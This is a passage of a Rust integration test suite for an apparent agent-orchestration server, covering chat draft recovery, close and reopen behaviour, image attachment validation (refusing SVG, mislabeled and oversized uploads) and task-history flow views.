15128            }
15129            assert!(
15130                fresh.pending.is_empty() && fresh.turns.len() == 2,
15131                "attempt {attempt}: talk {id} left the operator's text queued \
15132                 with no drainer - the reclaimed turn was dropped along with \
15133                 the handler future (pending {:?}, {} turns)",
15134                fresh.pending,
15135                fresh.turns.len()
15136            );
15137        }
15138    }
15139
15140    #[tokio::test]
15141    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
15142        let (_tmp, _repo, f) = talk_fixture().await;
15143        let id = f.post("/api/talks", None).await.json()["id"]
15144            .as_str()
15145            .expect("id")
15146            .to_owned();
15147        let store = f.talks();
15148        let mut recovered = store.get(&id).expect("opened talk");
15149        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15150            .expect("persist pending draft without a live turn");
15151
15152        let edited = f
15153            .post(
15154                &format!("/api/talks/{id}/pending/edit"),
15155                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
15156            )
15157            .await;
15158        assert_eq!(edited.status, 200, "{}", edited.body);
15159        assert!(edited.json()["thinking"].as_bool().unwrap());
15160
15161        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
15162        for _ in 0..SETTLE_STEPS {
15163            if detail["turns"].as_array().expect("turns").len() == 2 {
15164                break;
15165            }
15166            tokio::time::sleep(Duration::from_millis(10)).await;
15167            detail = f.get(&format!("/api/talks/{id}")).await.json();
15168        }
15169        let turns = detail["turns"].as_array().expect("turns");
15170        assert_eq!(
15171            turns.len(),
15172            2,
15173            "the recovered draft must run once: {detail}"
15174        );
15175        assert_eq!(turns[0]["body"], "corrected");
15176        assert_eq!(detail["pending"], "");
15177    }
15178
15179    #[tokio::test]
15180    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
15181        let tmp = TempDir::new().expect("tempdir");
15182        let repo = tmp.path().join("repo");
15183        std::fs::create_dir_all(&repo).expect("repo dir");
15184        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15185        let f = Fixture::with_repo(repo).await;
15186        let id = f.post("/api/talks", None).await.json()["id"]
15187            .as_str()
15188            .expect("id")
15189            .to_owned();
15190        let store = f.talks();
15191        let mut recovered = store.get(&id).expect("opened talk");
15192        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15193            .expect("persist pending draft without a live turn");
15194
15195        let refused = f
15196            .post(
15197                &format!("/api/talks/{id}/say"),
15198                Some(r#"{"text":"new message"}"#),
15199            )
15200            .await;
15201        assert_eq!(refused.status, 409, "{}", refused.body);
15202        assert!(refused.body.contains("resume"), "{}", refused.body);
15203        let saved = store.get(&id).expect("draft remains after refusal");
15204        assert!(saved.turns.is_empty());
15205        assert_eq!(saved.pending, "saved before restart");
15206
15207        let say_path = format!("/api/talks/{id}/say");
15208        let (first, second) = tokio::join!(
15209            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
15210            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
15211        );
15212        assert_eq!(first.status, 409, "{}", first.body);
15213        assert_eq!(second.status, 409, "{}", second.body);
15214        let saved = store
15215            .get(&id)
15216            .expect("draft remains after concurrent refusals");
15217        assert!(saved.turns.is_empty());
15218        assert_eq!(saved.pending, "saved before restart");
15219
15220        let resumed = f
15221            .post(&format!("/api/talks/{id}/pending/resume"), None)
15222            .await;
15223        assert_eq!(resumed.status, 202, "{}", resumed.body);
15224        let duplicate = f
15225            .post(&format!("/api/talks/{id}/pending/resume"), None)
15226            .await;
15227        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
15228
15229        for _ in 0..SETTLE_STEPS {
15230            if store.get(&id).expect("talk").turns.len() == 2 {
15231                break;
15232            }
15233            tokio::time::sleep(Duration::from_millis(10)).await;
15234        }
15235        let finished = store.get(&id).expect("finished talk");
15236        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15237        assert_eq!(finished.turns[0].body, "saved before restart");
15238        assert!(finished.pending.is_empty());
15239    }
15240
15241    #[tokio::test]
15242    async fn an_image_only_recovered_draft_resumes_without_text() {
15243        let (_tmp, _repo, f) = talk_fixture().await;
15244        let id = f.post("/api/talks", None).await.json()["id"]
15245            .as_str()
15246            .expect("id")
15247            .to_owned();
15248        let uploaded = f
15249            .post_bytes(
15250                &format!("/api/talks/{id}/attachments"),
15251                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
15252                PNG_BYTES,
15253            )
15254            .await;
15255        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15256        let attachment = f
15257            .talks()
15258            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15259            .expect("attachment metadata")
15260            .expect("stored attachment");
15261        let store = f.talks();
15262        let mut recovered = store.get(&id).expect("opened talk");
15263        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15264
15265        let resumed = f
15266            .post(&format!("/api/talks/{id}/pending/resume"), None)
15267            .await;
15268        assert_eq!(resumed.status, 202, "{}", resumed.body);
15269        for _ in 0..SETTLE_STEPS {
15270            if store.get(&id).expect("talk").turns.len() == 2 {
15271                break;
15272            }
15273            tokio::time::sleep(Duration::from_millis(10)).await;
15274        }
15275        let finished = store.get(&id).expect("finished talk");
15276        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15277        assert!(finished.turns[0].body.is_empty());
15278        assert_eq!(finished.turns[0].attachments.len(), 1);
15279        assert!(finished.pending_attachments.is_empty());
15280    }
15281
15282    #[tokio::test]
15283    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15284        let (_tmp, _repo, f) = talk_fixture().await;
15285        let id = f.post("/api/talks", None).await.json()["id"]
15286            .as_str()
15287            .expect("id")
15288            .to_owned();
15289        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15290        assert_eq!(closed.status, 200, "{}", closed.body);
15291        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15292            .expect("serialize closed talk");
15293        for (path, body) in [
15294            (format!("/api/talks/{id}/pending/resume"), None),
15295            (
15296                format!("/api/talks/{id}/pending/clear"),
15297                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15298            ),
15299            (
15300                format!("/api/talks/{id}/pending/edit"),
15301                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15302            ),
15303            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
15304        ] {
15305            let response = f.post(&path, body).await;
15306            assert_eq!(response.status, 409, "{}", response.body);
15307        }
15308        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15309            .expect("serialize closed talk");
15310        assert_eq!(
15311            after_clear, before_clear,
15312            "clear must not rewrite a closed talk"
15313        );
15314    }
15315
15316    /// Keeps both claims observable long enough to exercise the distinction
15317    /// between one busy talk and a globally locked Chat surface.
15318    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
15319
15320    #[tokio::test]
15321    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
15322        let tmp = TempDir::new().expect("tempdir");
15323        let repo = tmp.path().join("repo");
15324        std::fs::create_dir_all(&repo).expect("repo dir");
15325        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15326        let f = Fixture::with_repo(repo).await;
15327        let id_a = f.post("/api/talks", None).await.json()["id"]
15328            .as_str()
15329            .unwrap()
15330            .to_owned();
15331        let id_b = f.post("/api/talks", None).await.json()["id"]
15332            .as_str()
15333            .unwrap()
15334            .to_owned();
15335
15336        let a = f
15337            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
15338            .await;
15339        assert_eq!(a.status, 202, "{}", a.body);
15340        assert_eq!(a.json()["thinking"], true);
15341        let b = f
15342            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
15343            .await;
15344        assert_eq!(b.status, 202, "{}", b.body);
15345        assert_eq!(b.json()["thinking"], true);
15346
15347        let listed = f.get("/api/talks").await.json();
15348        for id in [&id_a, &id_b] {
15349            let view = listed
15350                .as_array()
15351                .unwrap()
15352                .iter()
15353                .find(|talk| talk["id"] == *id)
15354                .unwrap();
15355            assert_eq!(view["thinking"], true, "{listed}");
15356        }
15357        let repeated = f
15358            .post(
15359                &format!("/api/talks/{id_a}/say"),
15360                Some(r#"{"text":"again"}"#),
15361            )
15362            .await;
15363        assert_eq!(repeated.status, 202, "{}", repeated.body);
15364        assert_eq!(repeated.json()["pending"], "again");
15365    }
15366
15367    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
15368    /// few more, since real uploads are never exactly eight bytes.
15369    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15370
15371    #[tokio::test]
15372    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15373        let f = Fixture::start().await;
15374        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15375
15376        let res = f
15377            .post_bytes(
15378                &format!("/api/talks/{id}/attachments"),
15379                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15380                PNG_BYTES,
15381            )
15382            .await;
15383        assert_eq!(res.status, 201, "{}", res.body);
15384        let body = res.json();
15385        assert_eq!(body["name"], "shot.png");
15386        assert_eq!(body["mime"], "image/png");
15387        assert_eq!(body["bytes"], PNG_BYTES.len());
15388        let att_id = body["id"].as_str().expect("id").to_owned();
15389        assert_eq!(
15390            att_id.len(),
15391            32,
15392            "the id must never be a client-suppliable path: {att_id}"
15393        );
15394
15395        let got = f
15396            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
15397            .await;
15398        assert_eq!(got.status, 200, "{}", got.body);
15399        assert_eq!(got.header("content-type"), Some("image/png"));
15400        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
15401        assert_eq!(got.bytes, PNG_BYTES);
15402    }
15403
15404    #[tokio::test]
15405    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
15406        let f = Fixture::start().await;
15407        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
15408
15409        // SVG can carry a `<script>`, so it is never on the whitelist even
15410        // though it is a real IANA image type.
15411        let svg = f
15412            .post_bytes(
15413                &format!("/api/talks/{id}/attachments"),
15414                &[("Content-Type", "image/svg+xml")],
15415                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
15416            )
15417            .await;
15418        assert!(
15419            (400..500).contains(&svg.status),
15420            "svg must be refused: {} {}",
15421            svg.status,
15422            svg.body
15423        );
15424        assert!(svg.body.contains("SVG"), "{}", svg.body);
15425
15426        let text = f
15427            .post_bytes(
15428                &format!("/api/talks/{id}/attachments"),
15429                &[("Content-Type", "text/plain")],
15430                b"just some text",
15431            )
15432            .await;
15433        assert!(
15434            (400..500).contains(&text.status),
15435            "an unlisted type must be refused: {} {}",
15436            text.status,
15437            text.body
15438        );
15439
15440        // The declared type is a real png, but the size check runs before
15441        // the bytes are even looked at.
15442        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
15443        let big = f
15444            .post_bytes(
15445                &format!("/api/talks/{id}/attachments"),
15446                &[("Content-Type", "image/png")],
15447                &oversized,
15448            )
15449            .await;
15450        assert_eq!(
15451            big.status,
15452            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15453            "{}",
15454            big.body
15455        );
15456    }
15457
15458    #[tokio::test]
15459    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15460        let f = Fixture::start().await;
15461        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15462
15463        // A whitelisted `Content-Type`, but bytes that are not actually a
15464        // png - the declared header alone is never trusted.
15465        let res = f
15466            .post_bytes(
15467                &format!("/api/talks/{id}/attachments"),
15468                &[("Content-Type", "image/png")],
15469                b"<html>not a picture</html>",
15470            )
15471            .await;
15472        assert!((400..500).contains(&res.status), "{}", res.body);
15473    }
15474
15475    #[tokio::test]
15476    async fn an_unknown_attachment_id_is_a_404() {
15477        let f = Fixture::start().await;
15478        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15479
15480        let res = f
15481            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15482            .await;
15483        assert_eq!(res.status, 404, "{}", res.body);
15484    }
15485
15486    #[tokio::test]
15487    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15488        let f = Fixture::start().await;
15489        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15490
15491        let uploaded = f
15492            .post_bytes(
15493                &format!("/api/talks/{id}/attachments"),
15494                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15495                PNG_BYTES,
15496            )
15497            .await;
15498        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15499        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15500
15501        let res = f
15502            .post(
15503                &format!("/api/talks/{id}/say"),
15504                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15505            )
15506            .await;
15507        assert_eq!(res.status, 202, "{}", res.body);
15508        let queued = res.json();
15509        let turns = queued["turns"].as_array().expect("turns array");
15510        assert_eq!(
15511            turns.len(),
15512            1,
15513            "an empty body with an attachment is still a turn: {queued}"
15514        );
15515        assert_eq!(turns[0]["who"], "operator");
15516        assert_eq!(turns[0]["body"], "");
15517        let atts = turns[0]["attachments"]
15518            .as_array()
15519            .expect("attachments array");
15520        assert_eq!(atts.len(), 1);
15521        assert_eq!(atts[0]["id"], att_id);
15522        assert_eq!(atts[0]["mime"], "image/png");
15523
15524        // Not only in the response: `record` flushes to disk before the
15525        // agent's own turn is even spawned.
15526        let on_disk = f.talks().get(&id).expect("get");
15527        assert_eq!(on_disk.turns[0].attachments.len(), 1);
15528        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15529    }
15530
15531    #[tokio::test]
15532    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15533        let f = Fixture::start().await;
15534        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15535
15536        let res = f
15537            .post(
15538                &format!("/api/talks/{id}/say"),
15539                Some(&format!(
15540                    r#"{{"text":"hi","attachments":["{}"]}}"#,
15541                    "a".repeat(32)
15542                )),
15543            )
15544            .await;
15545        assert!((400..500).contains(&res.status), "{}", res.body);
15546        assert!(res.body.contains("unknown attachment"), "{}", res.body);
15547
15548        let on_disk = f.talks().get(&id).expect("get");
15549        assert!(
15550            on_disk.turns.is_empty(),
15551            "a rejected attachment id must not partially record the turn: {:?}",
15552            on_disk.turns
15553        );
15554    }
15555
15556    #[tokio::test]
15557    async fn talk_close_makes_the_talk_refuse_further_turns() {
15558        let f = Fixture::start().await;
15559        let id = seed_talk(&f, "20260904-014455-cd34", "open");
15560
15561        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15562        assert_eq!(closed.status, 200, "{}", closed.body);
15563        assert_eq!(closed.json()["status"], "closed");
15564
15565        // Idempotent: closing an already-closed talk is not an error.
15566        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15567        assert_eq!(closed_again.status, 200);
15568        assert_eq!(closed_again.json()["status"], "closed");
15569
15570        let said = f
15571            .post(
15572                &format!("/api/talks/{id}/say"),
15573                Some(r#"{"text":"too late"}"#),
15574            )
15575            .await;
15576        assert_eq!(said.status, 409, "{}", said.body);
15577    }
15578
15579    #[tokio::test]
15580    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15581        let (_tmp, _repo, f) = talk_fixture().await;
15582        let id = f.post("/api/talks", None).await.json()["id"]
15583            .as_str()
15584            .expect("id")
15585            .to_owned();
15586        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15587        assert_eq!(closed.status, 200, "{}", closed.body);
15588
15589        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15590        assert_eq!(reopened.status, 200, "{}", reopened.body);
15591        assert_eq!(reopened.json()["status"], "open");
15592
15593        // Idempotent: reopening an already-open talk is not an error.
15594        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15595        assert_eq!(reopened_again.status, 200);
15596        assert_eq!(reopened_again.json()["status"], "open");
15597
15598        let said = f
15599            .post(
15600                &format!("/api/talks/{id}/say"),
15601                Some(r#"{"text":"still there?"}"#),
15602            )
15603            .await;
15604        assert_eq!(
15605            said.status, 202,
15606            "a reopened talk accepts turns again: {}",
15607            said.body
15608        );
15609    }
15610
15611    #[tokio::test]
15612    async fn talk_reopen_on_an_unknown_id_is_404() {
15613        let f = Fixture::start().await;
15614        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15615        assert_eq!(res.status, 404, "{}", res.body);
15616    }
15617
15618    #[tokio::test]
15619    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15620        let f = Fixture::start().await;
15621        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15622
15623        let deleted = f.delete(&format!("/api/talks/{id}")).await;
15624        assert_eq!(deleted.status, 204, "{}", deleted.body);
15625
15626        let after = f.get(&format!("/api/talks/{id}")).await;
15627        assert_eq!(after.status, 404, "{}", after.body);
15628
15629        let listed = f.get("/api/talks").await.json();
15630        assert!(
15631            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15632            "a deleted talk must not linger in the list: {listed}"
15633        );
15634    }
15635
15636    #[tokio::test]
15637    async fn talk_delete_on_an_unknown_id_is_404() {
15638        let f = Fixture::start().await;
15639        let res = f.delete("/api/talks/nonexistent-id").await;
15640        assert_eq!(res.status, 404, "{}", res.body);
15641    }
15642
15643    /// A task's page lists every run it ever had, in order, and says what kind
15644    /// of attempt each was - including a resume, which re-pushes the same run
15645    /// id, and a run whose record this build cannot read.
15646    #[tokio::test]
15647    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15648        let f = Fixture::start().await;
15649        let (a, b, gone) = (
15650            "20260902-140501-aaaa",
15651            "20260902-140502-bbbb",
15652            "20260902-140503-cccc",
15653        );
15654        write_run(&f.runs(), a, RunStatus::Stalled);
15655        let mut review = RunState::new(
15656            PathBuf::from("/repo/magi"),
15657            "main".to_owned(),
15658            "0123456789abcdef".to_owned(),
15659            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15660                .to_owned(),
15661            Config::default(),
15662        );
15663        review.id = b.to_owned();
15664        review.status = RunStatus::Merged;
15665        write_state(&f.runs(), &review);
15666
15667        let mut task = Task::new(
15668            "retry".to_owned(),
15669            "Do the thing".to_owned(),
15670            PathBuf::from("/repo/magi"),
15671            Source::Human,
15672        );
15673        task.start(a.to_owned());
15674        task.stall("quota");
15675        task.start(a.to_owned());
15676        task.start(b.to_owned());
15677        task.start(gone.to_owned());
15678        // This fixture models an older queue file with repeated run entries.
15679        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15680        f.queue().put(&mut task).expect("file the task");
15681
15682        let res = f.get(&format!("/api/queue/{}", task.id)).await;
15683        assert_eq!(res.status, 200, "{}", res.body);
15684        let v = res.json();
15685        let h = v["history"].as_array().expect("history");
15686        assert_eq!(h.len(), 4, "{v}");
15687        assert_eq!(h[0]["kind"], "competition");
15688        assert_eq!(h[0]["status"], "stalled");
15689        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15690        assert_eq!(h[1]["kind"], "resume", "{v}");
15691        assert!(
15692            h[0]["outcome"]
15693                .as_str()
15694                .unwrap()
15695                .contains("unknown. Pass #2"),
15696            "an earlier pass of a resumed run must not claim the final outcome: {v}"
15697        );
15698        assert!(
15699            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15700            "{v}"
15701        );
15702        assert!(
15703            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
15704            "an unrecorded cause must not be narrated as an operator park: {v}"
15705        );
15706        assert_eq!(h[2]["kind"], "review");
15707        assert!(
15708            h[2]["description"]
15709                .as_str()
15710                .unwrap()
15711                .contains("magi/aaaa/A")
15712        );
15713        assert_eq!(h[2]["status"], "merged");
15714        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
15715        assert_eq!(v["runs_unreadable"], 1);
15716        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
15717        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
15718        assert_eq!(nodes[4]["note"], "unreadable");
15719        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
15720        assert_eq!(v["instruction"], "Do the thing");
15721        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
15722
15723        // The run's own page links back to the task.
15724        let run = f.get(&format!("/api/runs/{a}")).await.json();
15725        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
15726
15727        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
15728    }
15729
15730    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
15731        let mut s = RunState::new(
15732            PathBuf::from("/repo/magi"),
15733            "main".to_owned(),
15734            "0123456789abcdef".to_owned(),
15735            "Do it".to_owned(),
15736            Config::default(),
15737        );
15738        s.status = status;
15739        edit(&mut s);
15740        s
15741    }
15742
15743    fn flow_task(runs: &[&str]) -> Task {
15744        let mut t = Task::new(
15745            "t".to_owned(),
15746            "Do it".to_owned(),
15747            PathBuf::from("/repo/magi"),
15748            Source::Human,
15749        );
15750        for r in runs {
15751            t.start((*r).to_owned());
15752        }
15753        // Synthetic flows without RunPass records model legacy queue data.
15754        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15755        t
15756    }
15757
15758    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
15759        let h = task_history(task, |id| {
15760            states
15761                .iter()
15762                .find(|(i, _)| *i == id)
15763                .and_then(|(_, s)| s.clone())
15764        });
15765        task_flow(task, &h, 5, None)
15766    }
15767
15768    #[test]
15769    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
15770        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
15771        let created = "2026-10-10T01:00:00Z".parse().unwrap();
15772        let first = "2026-10-10T02:00:00Z".parse().unwrap();
15773        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
15774        let held = "2026-10-10T04:00:00Z".parse().unwrap();
15775        let run = flow_run(RunStatus::Implementing, |s| {
15776            s.created_at = created;
15777            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
15778            s.passes[0].started_at = first;
15779            s.passes[1].started_at = resumed;
15780        });
15781        let mut task = flow_task(&[RUN_X, RUN_X]);
15782        task.created_at = queued;
15783        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
15784        task.status = TaskStatus::Held;
15785        task.held_at = Some(held);
15786        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
15787        assert_eq!(
15788            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
15789            vec![Some(queued), Some(first), Some(resumed), Some(held)]
15790        );
15791        assert!(flow.nodes.iter().all(|n| n.time_expected));
15792        let json = serde_json::to_value(&flow).unwrap();
15793        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
15794        assert_eq!(json["nodes"][2]["time_expected"], true);
15795    }
15796
15797    #[test]
15798    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
15799        let created = "2026-10-10T01:00:00Z".parse().unwrap();
15800        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
15801        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
15802        // These timestamps are not the start of the current status.
15803        task.held_at = Some(created);
15804        task.blocked_at = Some(created);
15805        for status in [
15806            TaskStatus::Queued,
15807            TaskStatus::Running,
15808            TaskStatus::Blocked,
15809            TaskStatus::Done,
15810            TaskStatus::Failed,
15811            TaskStatus::Parked,
15812            TaskStatus::Held,
15813        ] {
15814            task.status = status;
15815            if status == TaskStatus::Held {
15816                task.held_at = None;
15817            }
15818            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
15819            assert_eq!(flow.nodes[1].started_at, Some(created));
15820            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
15821            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
15822            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
15823            let json = serde_json::to_value(&flow).unwrap();
15824            assert!(json["nodes"][3]["started_at"].is_null());
15825            assert_eq!(json["nodes"][3]["time_expected"], true);
15826        }
15827    }
15828
15829    #[test]
15830    fn flow_context_links_do_not_expect_start_times() {
15831        let mut task = flow_task(&[]);
15832        task.source = Source::Agent {
15833            run: "chat-id".to_owned(),
15834            node: "chat".to_owned(),
15835        };
15836        let origin = followup_origin(&fu(None), |_| None, |_| None);
15837        let flow = task_flow(&task, &[], 5, Some(&origin));
15838        for node in &flow.nodes[..2] {
15839            assert!(!node.time_expected);
15840            assert_eq!(node.started_at, None);
15841        }
15842        assert!(flow.nodes[2].time_expected);
15843    }
15844
15845    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
15846        crate::queue::FollowUp {
15847            run: "20260901-000000-aaaa".to_owned(),
15848            origin_task: origin_task.map(str::to_owned),
15849            pr: "https://example.com/o/r/pull/1".to_owned(),
15850            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
15851                .map(str::to_owned)
15852                .to_vec(),
15853            generation: 1,
15854        }
15855    }
15856
15857    fn parent_task() -> Task {
15858        let mut p = flow_task(&[]);
15859        p.title = "Parent title".to_owned();
15860        p.status = TaskStatus::Done;
15861        p
15862    }
15863
15864    #[test]
15865    fn flow_opens_with_the_parent_task_of_a_followup() {
15866        let p = parent_task();
15867        let pid = p.id.clone();
15868        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
15869        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15870        let n = &f.nodes[0];
15871        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
15872        assert_eq!(
15873            n.label,
15874            format!("Follow-up of {}", crate::queue::short(&pid))
15875        );
15876        assert_eq!(n.detail.as_deref(), Some("Parent title"));
15877        assert_eq!(n.status, Some("done"));
15878        assert_eq!(n.status_of, "task");
15879        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
15880        assert_eq!(f.nodes[1].key, "start");
15881        assert_eq!(f.edges[0].from, "origin");
15882        assert_eq!(
15883            f.edges[0].label,
15884            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
15885        );
15886    }
15887
15888    #[test]
15889    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
15890        let o = followup_origin(
15891            &fu(Some("gone")),
15892            |_| None,
15893            |_| {
15894                Some(RunState::new(
15895                    std::path::PathBuf::from("."),
15896                    "main".to_owned(),
15897                    "0".to_owned(),
15898                    "t".to_owned(),
15899                    crate::config::Config::default(),
15900                ))
15901            },
15902        );
15903        assert!(o.parent.is_none());
15904        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15905        let n = &f.nodes[0];
15906        assert_eq!(n.status_of, "run");
15907        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
15908        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
15909    }
15910
15911    #[test]
15912    fn flow_followup_with_nothing_readable_has_no_link() {
15913        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
15914        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15915        let n = &f.nodes[0];
15916        assert_eq!(n.href, None);
15917        assert_eq!(n.note, Some("unreadable"));
15918        assert!(!n.readable);
15919    }
15920
15921    #[test]
15922    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
15923        let o = followup_origin(&fu(None), |_| None, |_| None);
15924        let mut t = flow_task(&[]);
15925        t.origin_chat = Some("c1".to_owned());
15926        let f = task_flow(&t, &[], 5, Some(&o));
15927        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
15928        t.source = Source::Agent {
15929            run: "c1".to_owned(),
15930            node: crate::queue::CHAT_NODE.to_owned(),
15931        };
15932        let f = task_flow(&t, &[], 5, Some(&o));
15933        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
15934        assert_eq!(
15935            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
15936            ("chat", "origin")
15937        );
15938    }
15939
15940    #[test]
15941    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
15942        let mut p = parent_task();
15943        p.id = "a b/c".to_owned();
15944        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
15945        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
15946    }
15947
15948    #[test]
15949    fn flow_opens_with_the_chat_that_queued_the_task() {
15950        let mut t = flow_task(&[]);
15951        t.source = Source::Agent {
15952            run: "a b/c".to_owned(),
15953            node: crate::queue::CHAT_NODE.to_owned(),
15954        };
15955        let f = flow_for(&t, &[]);
15956        assert_eq!(f.nodes[0].key, "chat");
15957        assert_eq!(f.nodes[0].kind, "chat");
15958        assert_eq!(
15959            f.nodes[0].label,
15960            format!("Chat {}", crate::queue::short("a b/c"))
15961        );
15962        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
15963        assert_eq!(f.nodes[1].key, "start");
15964        assert_eq!(
15965            f.edges[0],
15966            FlowEdge {
15967                from: "chat".to_owned(),
15968                to: "start".to_owned(),
15969                label: "queued from chat".to_owned(),
15970                attempt: AttemptCost::None,
15971            }
15972        );
15973    }
15974
15975    #[test]
15976    fn flow_has_no_chat_box_for_other_sources() {
15977        for source in [
15978            Source::Human,
15979            Source::Issue {
15980                number: 3,
15981                repo: "o/r".to_owned(),
15982            },
15983            Source::Agent {
15984                run: "20260904-014455-ab12".to_owned(),
15985                node: "implement".to_owned(),
15986            },
